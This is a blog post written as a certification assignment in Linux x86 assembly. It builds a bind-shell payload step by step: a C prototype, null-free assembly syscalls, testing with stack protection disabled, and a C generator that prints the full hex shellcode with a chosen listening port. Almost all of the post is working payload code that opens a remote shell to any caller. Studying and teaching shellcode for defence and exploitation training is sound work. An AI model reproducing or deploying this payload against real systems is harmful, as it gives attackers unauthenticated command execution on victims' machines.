This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1290
Assignment:
The assignment consists in creating a bindshell shellcode which binds on a port, executes a shell on incoming connection and allows to easily configure the listening port.
First of all, let’s create a bindshell C program to understand how a bindshell works.
That is my C source code:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> //Listening port #define PORT 1234 int main(int argc,char *argv[]){ //Descriptors int sockfd,new_sockfd; //Addresses struct sockaddr_in host_addr; //Sock file descriptor sockfd = socket(PF_INET,SOCK_STREAM,0); //Configuring socket host_addr.sin_family = AF_INET; host_addr.sin_port = htons(PORT); host_addr.sin_addr.s_addr = 0; memset(&(host_addr.sin_zero),'\0',8); //Bind socket bind(sockfd,(struct sockaddr *)&host_addr,sizeof(struct sockaddr)); //Listening to socket listen(sockfd,1); new_sockfd = accept(sockfd,NULL,NULL); dup2(new_sockfd,2); dup2(new_sockfd,1); dup2(new_sockfd,0); execve("/bin/bash",NULL,NULL); close(sockfd); close(new_sockfd); return(0); }
Let’s build it:
Run it and connecting from another terminal:
It works! Now we need to work on this program to “convert” it in a shellcode. This program uses many functions in external libraries and we need to transform them in syscall. They are:
- socket
- bind
- listen
- accept
- dup2
- execve
- close ( To skip because it is not mandatory)
Let’s start from socket syscall. It creates an endpoint for communication and returns a descriptor.Socket syscall number is 359.
It needs 3 arguments: domain,type,protocol. PF_INET domain is 2. SOCK_STREAM type is 1, protocol is 0. Let’s create the first piece of our assembly shellcode:
;******socket syscall****** ; zeroing register xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx ;syscall n. mov ax,359 ;domain mov bl,2 ;type mov cl,1 ;protocol is already 0 int 0x80 ;socket on the stack push eax
Now the bind syscall (n. 361). It allows to assign an address to a specific socket descriptor. It also needs three arguments. The socket descriptor, sockaddr structure and size of the structure.
;******bind syscall****** ;syscall n. xor eax,eax mov ax,361 ;socket descriptor mov ebx,[esp] ;creating sockaddr and pushing onto the stack ;pushing address 0.0.0.0 push edx ;pushing port push word 0xd204 ;pushing domain push word 0x2 mov ecx,esp ;size mov dl,16 int 0x80
Listen syscall (n. 363) is pretty easy. It marks the socket as a passive socket; this means it is able to accept incoming connections. Two arguments are needed, the socket descriptor and the backlog.
;******listen syscall****** xor eax,eax ;syscall n. mov ax,363 ;socket descriptor already there ;backlog xor ecx,ecx int 0x80
Instead of accept, accept4 syscall is used (n. 364) which extracts and manage connection requests for a listening socket. It needs three arguments, the socket descriptor, a sockaddr structure and the structure length. The last two are not mandatory and could be set to null.
;******accept syscall****** xor eax,eax ;syscall n. mov ax,364 ;socket descriptor already set ;other arguments to 0 mov esi,ecx push ecx mov ecx,esp mov edx,esp int 0x80 ;mov new_socket to ebx mov ebx,eax
Time for the dup2 syscall (n. 63) to redirect the input,error and output standards to socket descriptor. Two arguments, old filedescriptor and new file descriptor. Since we need to repeat the syscall three times we can simplify the whole thing creating a loop.
;******dup2 syscall****** xor eax,eax xor ecx,ecx ;file descriptor mov cl,2 ;syscall n. dup: mov al,63 int 0x80 dec cl jns dup
It is the turn of execve (n.11), to execute the real shell.
;******execve syscall****** xor eax,eax push eax push 0x68736162 push 0x2f6e6962 push 0x2f2f2f2f ;filename mov ebx,esp push eax ;argc mov edx,esp push ebx ;argv mov ecx,esp ;syscall n. mov al,11 int 0x80
We can skip the close syscall to limit the size of our shellcode.
Putting all together:
global _start section .text _start: ;******socket syscall****** ; zeroing register xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx ;syscall n. mov ax,359 ;domain mov bl,2 ;type mov cl,1 ;protocol is already 0 int 0x80 ;socket on the stack push eax ;******bind syscall****** ;syscall n. xor eax,eax mov ax,361 ;socket descriptor mov ebx,[esp] ;creating sockaddr and pushing onto the stack ;pushing address 0.0.0.0 push edx ;pushing port push word 0x5c11 ;pushing domain push word 0x2 mov ecx,esp ;size mov dl,16 int 0x80 ;******listen syscall****** xor eax,eax ;syscall n. mov ax,363 ;socket descriptor already there ;backlog xor ecx,ecx int 0x80 ;******accept syscall****** xor eax,eax ;syscall n. mov ax,364 ;socket descriptor already set ;other arguments to 0 mov esi,ecx push ecx mov ecx,esp mov edx,esp int 0x80 ;mov new_socket to ebx mov ebx,eax ;******dup2 syscall****** xor eax,eax xor ecx,ecx ;file descriptor mov cl,2 ;syscall n. dup: mov al,63 int 0x80 dec cl jns dup ;******execve syscall****** xor eax,eax push eax push 0x68736162 push 0x2f6e6962 push 0x2f2f2f2f ;filename mov ebx,esp push eax ;argc mov edx,esp push ebx ;argv mov ecx,esp ;syscall n. mov al,11 int 0x80
Now we need to build the nasm file and link it.
Everything seems to be okay. Let’s dump the shellcode and put it in a C program to test if it works.
No nulls. Perfect!
We need to compile it with the gcc options -fno-stack-protector and -zexecstack.
The shellcode works perfectly!
Last part of assignment is to create a wrapper script to easily edit the shellcode port number. I decided to make this in C.
#include <stdio.h> #include <stdlib.h> #define REV(X) ((X << 24) | (( X & 0xff00 ) << 8) | (( X >> 8) & 0xff00 ) | ( X >> 24 )) int main(int argc,char *argv[]){ if(argc == 2){ unsigned int port; char s[8]; char s1[4]; char s2[4]; sscanf(argv[1],"%d",&port); printf("Port number: %d\n",port); port = REV(port); sprintf(s,"%02x",port); sprintf(s1,"%.2s",s); sprintf(s2,"%.2s",s+2); printf("Port bytes:%s%s\n",s1,s2); printf("Shellcode:\n"); printf("\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x50\\x31\\xc0\\x66\\xb8\\x69\\x01\\x8b\\x1c\\x24\\x52\\x66\\x68\\x%s\\x%s\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6b\\x01\\x31\\xc9\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6c\\x01\\x89\\xce\\x51\\x89\\xe1\\x89\\xe2\\xcd\\x80\\x89\\xc3\\x31\\xc0\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\xfe\\xc9\\x79\\xf8\\x31\\xc0\\x50\\x68\\x62\\x61\\x73\\x68\\x68\\x62\\x69\\x6e\\x2f\\x68\\x2f\\x2f\\x2f\\x2f\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\n",s2,s1); } else if(argc > 2 || argc < 2){ printf("Specify the right number of arguments\n"); } }